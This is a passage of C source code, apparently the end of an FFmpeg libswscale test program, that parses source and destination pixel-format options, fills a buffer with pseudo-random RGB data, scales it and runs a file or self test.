fprintf(stderr, "could not open '%s'\n", argv[i + 1]);
goto error;
}
} else if (!strcmp(argv[i], "-src")) {
srcFormat = av_get_pix_fmt(argv[i + 1]);
if (srcFormat == AV_PIX_FMT_NONE) {
fprintf(stderr, "invalid pixel format %s\n", argv[i + 1]);
return -1;
}
} else if (!strcmp(argv[i], "-dst")) {
dstFormat = av_get_pix_fmt(argv[i + 1]);
if (dstFormat == AV_PIX_FMT_NONE) {
fprintf(stderr, "invalid pixel format %s\n", argv[i + 1]);
return -1;
}
} else {
bad_option:
fprintf(stderr, "bad option or argument missing (%s)\n", argv[i]);
goto error;
}
}
sws = sws_getContext(W / 12, H / 12, AV_PIX_FMT_RGB32, W, H,
AV_PIX_FMT_YUVA420P, SWS_BILINEAR, NULL, NULL, NULL);
av_lfg_init(&rand, 1);
for (y = 0; y < H; y++)
for (x = 0; x < W * 4; x++)
rgb_data[ x + y * 4 * W] = av_lfg_get(&rand);
sws_scale(sws, rgb_src, rgb_stride, 0, H, src, stride);
sws_freeContext(sws);
av_free(rgb_data);
if(fp) {
res = fileTest(src, stride, W, H, fp, srcFormat, dstFormat);
fclose(fp);
} else {
selfTest(src, stride, W, H, srcFormat, dstFormat);
res = 0;
}
error:
av_free(data);
return res;
}
|